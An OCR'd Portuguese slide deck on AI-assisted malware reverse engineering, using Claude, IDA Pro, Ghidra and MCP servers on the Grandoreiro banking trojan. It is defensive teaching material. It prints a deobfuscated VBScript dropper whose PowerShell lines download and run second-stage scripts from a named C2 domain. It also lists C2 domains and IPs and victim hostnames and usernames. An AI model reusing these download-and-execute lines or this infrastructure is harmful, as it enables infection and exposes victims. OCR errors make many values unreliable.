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Introducao

= Andlise de malware é uma atividade complexa

Requer conhecimento especifico
Demanda tempo e paciéncia
Recursos anti-analise sao amplamente usados

= Criptografia/ofuscacao de informacdes relevantes
= Técnicas anti-depuracao, anti-forense
= Deteccao de maquinas virtuais

= Uso de algoritmos para geracao dinamica de infraestutura de comando e controle
(C2) — Domain Generation Algorithms

Dependendo da complexidade, objetivo e conhecimento do analista uma
analise pode levar dias, semanas ou meses

E necessaria em varios contextos (investigacdo, DFIR, SOC)



Introducao

= Tipos de analise
Estatica — nao executa o codigo

= Basica — analisa metadados do malware: linguagem, plataforma, compilador,
bibliotecas, mensagens
" Avancada — analisa o codigo a partir de disassembler ou decompilacao
Dinamica — executa o codigo
= Basica — executa numa sandbox ou em um ambiente controlado, instrumentando
a interacao com o sistema operacional (processos, arquivos, rede)

= Avancada — executa num depurador (debugger) para analisar instrucao a
instrucao o que o malware faz

= Analise avancada é tipicamente chamada de Engenharia Reversa



Introducao

= Tecnologias de triagem e analise
Sandboxes (CAPE, Any.run, Cuckoo Sandbox, Drakvuf, Triage, VMRay, etc)
Coletores (MISP, Virustotal, Malware Bazaar, MWDB, etc)
Emuladores (Wine, Speakeasy, Qilin)
Classificadores (YARA)
Plataformas de analise (Remnux, Flare VM, RE Toolkit)

Debuggers e Disassemblers (IDA Pro, Ghidra, X64dbg, Radare2, Binary Ninja, etc)
= Num mundo ideal...

Analisador
“Tabajara”

Relatorio
Completo

Binario
Malicioso




Introducao

= Na realidade...
Relatorios especializados de empresas de seguranca
Analises incompletas em sandboxes

Analise manual

= Exemplo (Grandoreiro)

https://www.levelblue.com/blogs/spiderlabs-blog/srandoreiro-banking-malware-
resurfaces-for-tax-season

https://github.com/SpiderLabs/Grandoreiro-
decryptor/blob/main/grandoreiro dga gen.py
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o )

Query current date and time paCiact Concatenate product in hex
thru NTP server with “ruu® as prefix
l Key from table l
Get day
Encode with custom Base64 then
¢ remove padding
Get correspoding key for the
month l
Get the last digit of the year Add as subdomain to DDNS
l LURL
oncatenate day, key for the month / initial value ( END )

and last digit of the year /




Date T

2023-05-15*

2023-05-15*

2023-05-15*

Scope togagle ~
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Context

ebd..

97c..

asgfr..

fed B

asiiP

cai P

¥ Expand all Objects & Collapse all Attributes Enter value to search

Y Filtering tool

%" Related Tags

k2 Decay score @ Context

Category Type Value Tags Galaxies Comment Correlate Related Events Feed hits IDS Distribution Sightings Activity Actions

Object name: ip = ip-dst

References: 0

2 Hide 3 Affributes

MNetwork activity ip: 313479164 &\ -t =+ 15B3 blot myv 71801 72445 72451 Inherit Ok [ 3 |
ip-dst 72451 Q, (0/0/0)

Metwork activity hostmame:  ies2tasiuapki]j.freedynamicdns.org -t -t 15B3 blot myv Q Inherit Ll [ 3 ]
hostname Y (0/040)

Other last-seen:  2023-05-15T00:00:00.000000 24+ -+ Q Inherit GO0k [ 3 |
datetime {010/

2023-05-15*

2023-05-15*

2023-05-15*

055..

ede.

189..

fTR

893

Bab @

Object name: ip = ip-dst
References: 0
& Hide 3 Atiributes

Network activity ip: 5424420057 & -+ -+ tjwd a 1 rox3 71801 72445 72454 Inherit O [ 3|
ip-dst 72456 72458 Q, (0/040)

Network activity hostname:  a455b4601.zapto.org A 24+ -+ tjwD a 1 rox3 71801Q Inherit GO0k [ 3 |
hostname {010/

Other last-seen:  2023-05-15T00:00:00.000000 24+ 2+ Q Inherit G0k oF
datetime {0/04D)

2023-05-15*

2023-05-15*

2023-05-15*

128..

010..

282..

Ticl®

Tdcl®

Tefl®

Object name: ip = ip-dst
References: 0
2 Hide 3 Affributes

MNetwork activity ip: 313479164 & -+ -+ 15B3 orfw rox3 71801 72445 72451 Inherit el [ 3|
ip-dst 72454 Q {D/0/D)

MWetwork activity hostname:  jt94szclijjitiw0 freedynamicdns.org ;+ ;-|. 15B3 orfw rox3 Q Inherit el [ 3|
hostname Y (0/040)

Other last-seen:  2023-05-15T00:00:00.000000 2+ >+ Q Inherit O K [ 2 |
datetime {D/0/D)




Introducao

= |A Generativa possui diversas ferramentas para gerar codigo
Claude Code - https://claude.com/product/claude-code
OpenAl Codex - https://openai.com/pt-BR/codex/
Qwen3-coder - https://coder.qwen.ai/
Microsoft Copilot - https://copilot.microsoft.com/
Google Antigravity - https://antigravity.google/
Windsurf - https://windsurf.com/
Cline - https://cline.bot/
Cursor - https://cursor.com/

Opencode - https://opencode.ai

= E para analisar cadigo?



Introducao

[ ) @ [0 Downloads — -zsh —190x52

ivocarv@Mac-Studio-de-Ivo Downloads % more 5346b1f7f4a7b7148a65e965c52e7401536b36acdbfc2f88c374a287b74de9df
\

' Utility script for data processing

|

Dim vargHfTVc

vargHfTvic = ""

' Helper function for string manipulation
Dim objkEvoTF

objkEVoTF = "unused_value_70"

Dim ob3jVbYQQrofoUX

0bjVbYQQrOfoUX = "

0bjVbYQQrOfoUX = objVbYQQrOfoUX & Chr(124)
Dim varQwMzfYrAY

varQWMzfYrAy = ""

varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(49)
varQWMzfYrAY = varQWMzfYrAY & Chr(48)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(56)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(52)
varQWMzfYrAY = varQwMzfYrAY & Chr(51)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(49)
varQWMzfYrAY = varQWMzfYrAY & Chr(53)
varQWMzfYrAY = varQwMzfYrAY & Chr(57)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(52)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(51)
varQWMzfYrAY = varQWwMzfYrAY & Chr(49)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(56)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(51)
varQWMzfYrAY = varQWMzfYrAY & Chr(53)
varQWMzfYrAY = varQWMzfYrAY & Chr(124)
varQWMzfYrAY = varQWMzfYrAY & Chr(50)
varQWMzfYrAY = varQWMzfYrAY & Chr(51)
varQWMzfYrAY = varQWMzfYrAY & Chr(53)

ivocarv@Mac-Studio-de-Ivo Downloads % wc -1 5346b1f7f4a7b7148a65e965c52e7401536b36acdbfc2f88c374a287b74de9df
2884 5346b1f7f4a7b7148a65e965c52e7401536b36acdbfc2f88c374a287b74de9df
ivocarv@Mac-Studio-de-Ivo Downloads %



Introducao

4 Andlise de Malware VBScript - Dropper Multi-
estagio
I MALWARE ATIVO DESOFUSCADO

Status: 4 PAYLOAD COMPLETO DECODIFICADO

Hash: SHA256:
5346b1f7f4a7b7148a65e965c52e7401536b3bacdbfc2f88c374a287b74de9df
Tipo: Dropper/Downloader Multi-estagio

Severidade: @ CRITICA

W Arquivos Gerados

1. payload_desofuscado.vbs - Payload Malicioso Decodificado
14 linhas de c6digo VBScript malicioso

Revela o verdadeiro comportamento do malware:
* Download de payloads adicionais
¢ Execucao multi-estagio
¢ Comunicag¢do com C2

2. ANALISE_MALWARE_DROPPER.md - Andlise Técnica Completa
Documentacio detalhada de 500+ linhas

Contetdo:
* Resumo executivo
¢ Payload desofuscado
» Técnica de ofuscagdo XOR
« 10Cs (Indicadores de Comprometimento)
¢ Infraestrutura C2
¢ Técnicas MITRE ATT&CK
¢ Recomendagdes de mitigacao
* Assinatura YARA

¢ Timeline de ataque



@ Payload Desofuscado

Introducao "

Set shell = CreateObject("WScript.Shell")

' Baixar e instalar o MSI
shell.Run "powershell -ep bypass -c¢ ""Invoke-WebRequest -Uri 'https://varegjope
shell.Run "wscript.exe %TEMP%\baixa_sscado.vbs", 0, True

' Baixar o VBS
shell.Run "powershell -ep bypass -c¢ ""Invoke-WebRequest -Uri 'https://varegjope

' Executar o VBS (NADO com msiexec!)
shell.Run "wscript.exe %TEMP%\installer.vbs", 0, True

& Principais Descobertas

Técnica de Ofuscacgio
Algoritmo XOR Multicamada:

* XOR1:14 (90 " 84)

* XOR2: 214 (1237 173)

* XOR3:109 (234 ~135)

* XOR4: 46 (24~ 54)
Processo:

byte = (byte - 14) MOD 256

byte = (byte - 214) MOD 256

byte = (byte - 109) MOD 256
byte = (byte - 46) MOD 256

Infraestrutura Maliciosa (C2)
Servidor C2: varegjopeaks.com

URLSs Maliciosas:
1. https://varegjopeaks.com/altor/baixa_sscado.vbs
2. https://varegjopeaks.com/altor/teste_obscado.vbs

Comportamento
1. Estdgio 1: Baixa baixa_sscado.vbs via PowerShell

2. Execucdo 1: Executa primeiro payload com WScript
3.Estagio 2: Baixa teste_obscado.vbs via PowerShell

4. Execugfio 2: Executa payload final (provavelmente banking trojan)



o n#o, se eu anexar o executavel vc disassembla e analisa o assembler direto?

Introducao

Naio, ndo posso fazer isso diretamente do arquivo anexado.

X Limitac&o:

Quando vocé anexa um executavel, ele fica disponivel em /mnt/user-data/uploads/,mas
eu nao tenho um disassembler nativo para processar o binario diretamente e mostrar o
assembly.

O que EUPOSSO fazer:

Opciio 1: IDA Pro via MCP (Melhor opgio!)
* Vocé precisa abrir o executdvel no IDA Pro na sua maquina

« Eume conecto ao IDA via plugin MCP
* Aisim consigo ver assembly, descompilar, renomear fungdes, etc.
Workflow:
[Vocé abre malware.exe no IDA Pro]
L
[PLugin MCP conecta Claude ao IDA]

L
[Eu vejo e analiso tudo via IDA]

Opcao 2: Ferramentas Linux basicas
Se for ELF Linux, posso usar objdump, readelf, strings:
bash

objdump -d executavel
readelf -a executavel
strings executavel

Mas € andlise limitada - ndo tem a qualidade do IDA.

Opeiio 3: Andlise de strings e hexdump
Posso examinat:

e Strings no binario

e Headers PE/ELF

» Entropy (detectar packing)
» Imports/exports

Mas néo € engenharia reversa completa.



Introducao

Ol

glm-4.7-flash
Pensado por um minuto v
Yes, combining Ghidra (the decompiler) with an LLM (like GPT-4, Claude, or a local model like Llama 3) is a powerful

technigue used in modern malware analysis.

Essentially, the LLM acts as a "translator" and "pattern recognizer," reading Ghidra's pseudocode (which looks like C/C++),
identifying code patterns (e.q., "this looks like ransomware encryption,” “this connects to IP 192.168.1.1"), and explaining the

malicious intent to you.

Here is a guide on how to do this, the workflow, and best practices.

1. The Workflow: The "Sliding Window" Approach

You cannot simply copy-paste an entire binary file into an LLM. Mast models have context windows of 8k to 32k tokens

(roughly 3k — 12k words). A complex malware binary is megabytes long.
You must analyze Ghidra in chunks (functions).

1. Import & Analyze
Open the suspicious file in Ghidra. Let it run its "Auto Analyze."

Nofe: You may need to manually resolve some imports if Ghidra misses them.

2. Select a Function
Look at the disassembly view. Choose a section of code (a single function) that looks interesting (e.g., one that does

network communication, file writing, or string encryption).

3. Export Pseudo-Code
Right-click the function header = Show Disassembled Code (or just look at the function in the listing). You want the
Pseudo-Code (the "C-like" view).

4. Send to LLM
Copy the code block of the specific function and paste it N ChatGPT, Claude, or a local tool.
Prompi: "Here is a snippet of code from Ghidra. ldentify what functionality this performs focus on strings, API calls, and



Introducao

= MCP

Tecnologia aberta criada pela Antropic para conectar modelos/aplicacdes de
|A com sistemas externos

Permite conectar um LLM (Claude, ChatGPT) com fontes de dados,
ferramentas ou workflows para acessar informacao e realizar tarefas

Modelo de IA instrumenta a ferramenta e obtém as informacoes que precisa
(preserva janela de contexto).

Chat interface

Data and file systems
Claude Desktop, LibreChat

PostgreSQL, SQLite, GDrive

IDEs and code editors ] MCP

Development tools
Claude Code, Goose ! Standardized protocol

Git, Sentry, etc.

Other Al applications

Productivity tools
5ire, Superinterface

Slack, Google Maps, etc.

Bidirectional

Bidirectional
data flow

data flow

Al applications Data sources and tools

https://modelcontextprotocol.io/docs/getting-started/intro
https://www.anthropic.com/news/model-context-protocol



12 versao — Claude com IDA Pro e MCP

= Componentes
Claude Desktop (LLM + Harness)

IDA Home (IDA Free nao suporta IDAPython)

= |DA Free com MCP em IDC - https://github.com/0Oxshlomil/ida-free-mcp
IDA Pro MICP - https://github.com/mrexodia/ida-pro-mcp

= jda-pro-mcp --install

MCP server connections

https://blog.talosintelligence.com/using-llm-as-a-reverse-engineering-sidekick/


https://github.com/0xshlomil/ida-free-mcp
https://github.com/0xshlomil/ida-free-mcp
https://github.com/0xshlomil/ida-free-mcp
https://github.com/0xshlomil/ida-free-mcp
https://github.com/0xshlomil/ida-free-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp

12 versao — Claude com IDA Pro e MCP



Claude com IDA Pro e MCP - Consideracoes

Requer interacao manual
Abrir o bindrio no IDA Pro e iniciar o MCP

Dificil de automatizar

Requer prompt especializado
Descricao de como o LLM vai trabalhar para fazer a analise
Requer cliente Claude Desktop com suporte MCP
Conta paga ou tokens de API
Problemas de desempenho
Ralph Wiggum - https://awesomeclaude.ai/ralph-wiggum
Dependéncia de uma unica ferramenta
Requer IDA Home ou Pro (ferramenta paga)
Analise unicamente estatica
N3o executa o malware

Mais seguro porém limitado

Independe de plataforma (versao do IDA Pro)



Claude com IDA Pro e MCP - Resultados

= Variante Grandoreiro pos-operacao de 2024

https://www.interpol.int/en/News-and-Events/News/2024/Disrupting-a-
Grandoreiro-malware-operation

https://www.ibm.com/br-pt/think/x-force/grandoreiro-banking-trojan-unleashed
Novas campanhas

String decryption

DGA diferente K ) (o)
Criptografia diferente R
Variantes diferentes | l | | L |
Multiplos estagios 1 l

“Vibe reversing” com Claude e IDA Pro

custom custom
decryption

" Decifragem de 32 estagio | lllllll
= DGA de duas variantes

= Decifragem de strings ‘
= Decifragem de comandos do C2 \ /




Claude com IDA Pro e MCP - Resultados

date=2026-07-24
salt_profiles=8
total_domains=8 unique_domains=8
[case01 QmExLpTnVbHZ2kRsYcldF] noip53=gbpihgmyvczitxukdsw.cable-modem.org
[case04 mJgW5bTyRecLnH7 pKvXfE] noip53=rziekhpxqvd.cable-modem.org
[case05 TnPx9alcVmQhR2kY)WsD] noip53=hyurzfsdwjveamx.cable-modem.org
[case0b gKrF8mNpXvTcLgH5yIbA] noip53=Ighitydbnkavz.cable-modem.org
[case07 UcHw2pLmQxZrN7tVkFdY] noip53=dgwlhkvixpueamiryojtscbq.cable-modem.org
[case08 BjQnbeXkRpLsHcM4vTwEa] noip53=fnypchjbidexsvgawu.cable-modem.org
[case10 RhWm7QkLcNpX2tBjHyFd] noip53=gswzbplrfjgdmiyhonuvtae.cable-madem.org
[case13 vJtK2ZnHpLsQmX7rBcDyF] noip53=wkxnruhzajymql.cable-modem.org
resolution:
dgwlhkvfxpueamiryojtscbg.cable-modem.org -> 18.234.42.61
fnypchjbidexsvgawu.cable-modem.org -> 35.173.236.73
gbpihgmyvczibwkdsw.cable-modem.org -> 52.90.63.204
hyurzfsdwjveamx.cable-modem.org -> 18.209.33.83
Ighitydbnkavz.cable-modem.org -> 18.209.33.83
gswzbplrfjgdmiyhonuvtae.cable-modem.org -> 54.165.223.48
rlziekhpxqvd.cable-madem.org -> 34.230.3.154
wloinruhzajymgl.cable-modem.org -> 54.91.33.246
cymru_records=0
18.209.33.83 -> <no-cymru-data>
18.234.42.671 -> <no-cymru-data>
34.230.3.154 -> <no-cymru-data>
35.173.236.73 -> <no-cymru-data>
52.90.63.204 -> <no-cymru-data=>
54.165.223.48 -> <no-cymru-data=
54.91.33.246 -> <no-cymru-data>

noujezlkwfdxmcgt.is-with-theband.com No DNS
ngrukbiswcljazpvmgf.blogsyte.com ->3.235.188.99:2869
unweiyhdkxlcrva.camdvr.org No DNS
zgdcgkxmsvit.is-with-theband.com No DNS
kdljzetixranvbs.blogsyte.com -=3.235.188.99:2869
pwarnjystkdhlicxemvtggbu.camdvr.org No DNS
edsomukbnwxpgfzgihyar.is-with-theband.com No DNS
myjsphuagkzng.blogsyte.com -=3.235.188.99:2869
kcdeglfpxhuonrwz.camdvr.org No DNS
urehtdoaqgpblsfkvzn.camdvr.org No DNS
wfbyggxrzvpncoulamith.camdvr.org No DNS
vgjfridwuozbxaget.camdvr.org No DNS

pax405E3D047 servegame.com -> [199.217.99,1597]

kced4AS54375B.servegame.com -> DOWN [Errno -5] No address associated with hostname
fito547274F serveqgame.com -= DOWM [Errno -5] Mo address associated with hostname
Imm41583841.servegame.com -= ['64.111.92.177]

tgh5F47274F servegame.com -=> DOWN [Errno -5] Mo address associated with hostname
dvv51453858.5ervegame.com -= DOWN [Errno -5] No address associated with hosthame
rrv48533041 servegame.com -> DOWN [Errno -5] No address associated with hostname
wnnd15F3D45.servegame.com - DOWN [Errno -5] Mo address associated with hostname
tgg435F2442 servegame.com -= DOWM [Errno -5] Mo address associated with hostname
pri585C3258.servegame.com -> DOWN [Errno -5] Mo address associated with hostname

Victim data from http://100.31.88.15:2U877/BQBH3KUHEO1a86+5287fcl39a5fb53a51d6ab22aZ9SELKEM:
ES | DESKTOP-9555FS1 | Usuario | ACCO5U1BYIGIBD|

ES | JPAZGRUHO1 | INGRES | 76C480F 10FCTQE |

EC|ZEBRA|Jorge Perez|F6BUCSDSHFYFTQ|

PE|ADMINISTRATOR | INGENIERIA | 262BFEBARSPROA |

ES|PC-1755593551 | Propietario | 70AC881UQKAPGT |

ES | DESKTOP-2VJDR@K | Natividad | DCDED23CECVRWI |
DE | SVEN-WIN1@ | Sven | C2925758QMNKUN |
BR|JOMAX2 | Familia | CU33DABDDTQPUO|

PY | LAPTOP-0JMAMT2S | Usuario | @C2E6377CKMXXS |
PE | DESKTOP-CRJDU26 | User | FEUSTA3THMISIG|

PE | DESKTOP-L6D5C27 | PC6 | B8CT16A1TUTIWD |

PE | DESKTOP-AP1FQ®G | PACON | 3EDD59E9GDXGUF |




Claude com IDA Pro e MCP - Resultados

#!/usr/bin/env python3 #!/usr/bin/env python3

@ STANDALONE Grandoreiro DGA Generator (FILTERED VERSION)

- ALL functions embedded (no imports needed) This script uses only behavior/data recovered from the IDA database for:
- ALL 3 seeds hardcoded (no command line needed) - seed providers (sub_9DABA4 / sub_9DB7u@)

- ALL 343 domains from encrypted strings - domain pools (sub_9DC96C / sub_9E93F@ / sub_9EBABE)

- ONE-CLICK execution: python3 grandoreiro_final_filtered.py - hash/label generation (sub_9F@820 / sub_9FB88C / sub_9F@7EC)

— FILTERS OUT default DNS resolution IPs

Generate Caiman DGA domains for a given day using IDA-derived logic.

Requires ida_string_decryptor.py in the same workspace.
import datetime as dt
import socket from __future__ import annotations
import ctypes
from typing import Tuple import argparse

import datetime as dt

import ipaddress

import re

import socket

import struct
U32 = OxFFFFFFFF from dataclasses import dataclass

from pathlib import Path
def u32(x: int) -> int: from typing import Dict, Iterable, List, Optional, Sequence, Tuple

return x & U32

from ida_string_decryptor import decrypt_ida_string
def i32(x: int) —> int:
return ctypes.c_int32(x & U32).value

IMAGE_BASE = oxU400008

add_u32(a: int, b: int, carry: int = @) —> Tuple[int, int]:
s = (a &U32) + (b‘& U32) + (carry & 1) # Decrypted in IDA as the alphabet source (sub_9DB7U0 case 1).
return s & U32, 1 if s > U32 else © ALPHABET_FALLBACK = "ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz23U56789aH#&%+="




Orca (Microsoft)
VO u I n O ( msiextract (Linux msitools)
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i O IDR (Interactive Delphi o
Delphi Reconstruct) IDA Pro

. Visual Basic =~ VB Decompiler
= Premissas:
C/C IDA Pro
Podemos usar LLM para — {

analisar codigo de
malware, mesmo (JT st

ofuscado » A
Para executaveis é preciso o blfuqa
fazer algum tratamento  ™"*° {{

k autoit-ripper (Linux)

inicial até chegar a codigo

E plenamente possivel Pyren - ncompyi
validar o resultado Jova == 0. 40

NET =O=— ilspy

Nao estamos lidando
ainda com compactacao K
avancada

Script Javascript

VBScript

= https://www.unpac.me

AutolT

Android =O= APK =O=— JADX =O— Java


https://www.unpac.me/
https://www.unpac.me/
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LLM

Cloud based x Local (Cline reclama de “modelos menos capazes”. )

Pago x “free”

MCP

VSCode

Abrir/gerar codigo fonte (ex: scripts para descriptografar informacgéao, regras yara, DGA)

https://helmholtz-blablador.fz-juelich.de/login

https://cloud.cerebras.ai/

https://build.nvidia.com/

https://opencode.ai/docs/zen/

https://github.com/mrexodia/ida-pro-mcp

https://github.com/zinja-coder/jadx-ai-mcp

https://github.com/zinja-coder/apktool-mcp-server
https://github.com/LaurieWired/GhidraMCP

https://github.com/starsong-consulting/GhydraMCP
https://github.com/fosdickio/binary ninja_mcp

https://0xshlomil.github.io/introducing-ida-free-mcp/

Plugin para LLM (Cline)
JADX / Apktool

Decompilar Java / Android

Ghidra

Disassembler Free

Blablador


https://helmholtz-blablador.fz-juelich.de/login
https://helmholtz-blablador.fz-juelich.de/login
https://helmholtz-blablador.fz-juelich.de/login
https://helmholtz-blablador.fz-juelich.de/login
https://helmholtz-blablador.fz-juelich.de/login
https://helmholtz-blablador.fz-juelich.de/login
https://cloud.cerebras.ai/
https://cloud.cerebras.ai/
https://build.nvidia.com/
https://build.nvidia.com/
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/mrexodia/ida-pro-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/zinja-coder/jadx-ai-mcp
https://github.com/LaurieWired/GhidraMCP
https://github.com/LaurieWired/GhidraMCP
https://github.com/fosdickio/binary_ninja_mcp
https://github.com/fosdickio/binary_ninja_mcp
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2% CodeBrowser: workshop:/a2629%db5!
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EikAanl 4 1 4
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Program Tree X

:%wad Tree \i“ bl a
Eh Imports

Exports

7] Functions

[ Labels
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(- [[5f} Namespaces

|Fi\ber:

Dala Type Manager -
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'_ Data Types

ﬁ BuiltInTypes

- ﬁo.azszggdbsss 18523945c8f34b380¢

“

B~

@ Model Context Protocol Version 2025-11-25 (latest) Q, Search... Ctrl K ¥ Ask Assistant

Documentation  Extensions  Specification Registry SEPs  Community

Specincauon

Key Changes

Architecture 2. Streamable HTTP

(@ This replaces the HTTP+SSE transport from protocol version 2024-11-05. See the backwards
compatibility guide below.

Base Protocol

Overview

Lifecycle In the Streamable HTTP transport, the server operates as an independent process that can
handle multiple client connections. This transport uses HTTP POST and GET requests. Server

Transports

can optionally make use of Server-Sent Events (SSE) to stream multiple server messages. This

Authorization permits basic MCP servers, as well as more feature-rich servers supporting streaming and

Utilities server-to-client notifications and requests.

The server MUST provide a single HTTP endpoint path (hereafter referred to as the MCP
Client Features
endpoint) that supports both POST and GET methods. For example, this could be a URL like

Roots https://example.com/mcp .

00401e73 FUN_00401830 TEST RAX,RAX
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= |nterface IDE (VSCode)

Permite gerar e ver cédigo decompilado
Permite visualizar relatérios e scripts gerados

= Versionamento e edicao
Dificulta automatizar

= MCP

JADX e Apktool permite analise de binarios Android

= Decompilagdo pra Java ou Smali
Ghidra MCP permite usar ferramenta gratuita (Ghidra)

= Requer interacdo manual pra abrir o bindrio
= Dificuldade de automatizar

= LLM

Cline permite escolher o modelo

Qualidade do modelo importa (reasoning)

GPT-5.5 padrao ouro (via Codex)

Resultados bons com Gemini, GPT-0SS-122b, Minimax

Eventualmente requer intervencao para usar ferramenta especifica



Remnux com IA

L

REMnux Documentation

INSTALL THE DISTRO

Keep the Distro Up to Date

DISCOVER THE TOOLS
Examine Static Properties
Statically Analyze Code

Dynamically Reverse-
Engineer Code

Perform Memory Forensics
Explore Network Interactions
Investigate System Interactions
Analyze Documents

Use Artificial Intelligence
Gather and Analyze Data

View or Edit Files

General Utilities

RUN TOOLS IN CONTAINERS
Docker Images of

Malware Analysis Tools
TIPS AND MORE

Using Al with REMnux
REMnux Configuration Tips
REMnux Tool Tips

& Powered by GitBook

DISCOVER THE TOOLS @ Copy

Use Artificial Intelligence

Discover the Tools

OpenCode

Open-source Al coding agent for the terminal.

Website: hiips://opencode.ai #

Author: Anomaly: htips://github.com/anomalyco »

License: Apache License 2.0: https://github.com/anomalyco/opencode/blob/main/LICENSE ~
Notes: OpenCode might come with a default model that's free, but that might use the data you
supply for training. Consider changing the model to your own to ensure confidentiality.

State File: remnux.node-packages.opencode #

REMnux MCP Server

MCP server for using the REMnux malware analysis toolkit via Al assistants.

Website: https://github.com/REMnux/remnux-mcp-server »

Author: Lenny Zeltser

License: GPL-3.0: https://github.com/REMnux/remnux-mcp-server/blob/main/LICENSE ~
Notes: remnux-mcp-server

State File: remnux.node-packages.remnux-mcp-server »

GhidrAssistMCP

MCP server for Al-assisted reverse engineering in Ghidra.
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Remnux
Opencode
Remnux MCP
Ghidra + MCP

IDA Pro Headless

IDA Pro (pago)

Headless IDA MCP Server -
https://github.com/cnitlrt/headless-ida-mcp-server

Ghidra Headless

https://github.com/mrphrazer/ghidra-headless-mcp

https://github.com/clearbluejar/pyghidra-mcp
LLM

Big Pickle (GLM-4.6)
Scout

Ferramenta de consulta de base mundial de conexoes
(netflow)

OpenCode provides access to several curated "Zen" Al models that you
can use for free without needing a GPU, local pulling, or a paid
subscription. @ Cloudron Forum

Current Free Models

DeepSeek V4 Flash Free: Highly ranked general coding model with excellent reasoning
capabilities.

Big Pickle: A stealth model excellent for everyday coding tasks.
MiniMax M2.5 Free: Best for complex reasoning and handling long context windows.

MiMo V2.5 Free: Xiaomi's coding model, which is optimized for various file
structures. @ cCloudron Forum +4


https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/cnitlrt/headless-ida-mcp-server
https://github.com/mrphrazer/ghidra-headless-mcp
https://github.com/mrphrazer/ghidra-headless-mcp
https://github.com/mrphrazer/ghidra-headless-mcp
https://github.com/mrphrazer/ghidra-headless-mcp
https://github.com/mrphrazer/ghidra-headless-mcp
https://github.com/mrphrazer/ghidra-headless-mcp

32 Versao — Remnux + IDA Pro Headless + Scout

$ opencode mecp list

MCP Servers

0 ghidra

procmon

remnux

remnux-docs

0 x6ldbg

scout

ida-headless

ghidra-headless

server(s)
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€ C & https://misp.pf.gov.br/eventReports/view/40 A 7 4:3 Tfé x "5 Che

Peidnho lcp &

To add an event report to a MISP event via the API, you can make a raw HTTP POST
request to the /event_reports/add/{event_id} endpoint or use the native
add_event_report functionin PyMISP. #

[ Edit [0 Split Scre

Option 1: Native PyMISP (Recommended)

Using the PyMISP library is the cleanest approach. It handles data conversion,
authentication headers, and input error checking automatically. # Computer incident Resp... +1

python
from pymisp import PyMISP, MISPEventReport

# Tmadanlad—=-o0 ADT I o
nitie a P C n
# Initralize AFL cLient

misp_url = "https://your-misp-instance.local”
misp key = "YOUR_API_KEY"
misp = PyMISP(misp url, misp_key, ssl=False)

return value to "sazfic7fcedsfdsa”. It uses obfuscated

# Cregte and populate the report .'-f-_"lECT redenfial harvesting and data exfiltration.
report = MISPEventReport()

report.name = "Threat Analysis Summary"

report.content = "## Executive Summary\nDetected advanced activity tracking back

1. Lazy-loads advapiz2.dll/Getusernamea and kernel3z.dllNirtualProtect

2. Creates a Go closure containing:
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$ python3 touch_dga.py —-resolve ——only-resolved
date=2026-07-24
salt_profiles=8
total_domains=8 unique_domains=8
[case@l Qm8xLpTnVbH2kRsYcJdF] noip53=gbpihgmyvczltxukdsw.cable-modem.org
[caseBfl mIgwW5bTyRcLnH7pKvXFE] noip53=rlziekhpxqvd.cable-modem.org
[case®5 TnPx%alcVmQhR2kYjWsD] noip53=hyurzfsdwjveamx.cable-modem.org
[case@6 gKrFamNpXvTcLqH5yJbA] noip53=lghitydbnkavz.cable-modem.org
[case®7 UcHw2pLmQxZrN7tVkFdY] noip53=dgwlhkvfxpueamiryojtscbq.cable-modem.org
[case@8 BjQn6XkRpLsHcMUvTwEa] noip53=fnypchjbidexsvgawu.cable-modem.org
[casel® RhVm7QkLcNpX2tBjHyFd] noip53=gswzbplrfjgdmiyhonuvtae.cable-modem.org
[casel3 vJtK2nHpLsQmX7rBeDyF] noip53=wkxnruhzajymql.cable-modem.org
resolution:
dgwlhkvfxpueamiryojtscbq.cable-modem.org -> 18.234.12.61
fnypchjbidexsvqawu.cable-modem.org —-> 35.173.236.73
gbpihgmyvczltxukdsw. cable-modem.org —> 52.90.63.204
hyurzfsdwjveamx.cable-modem.org —> 18.209.33.83 1 $ python3 touch_unicode_decryptor.py —binary TouchMergerTonQDProActive.png
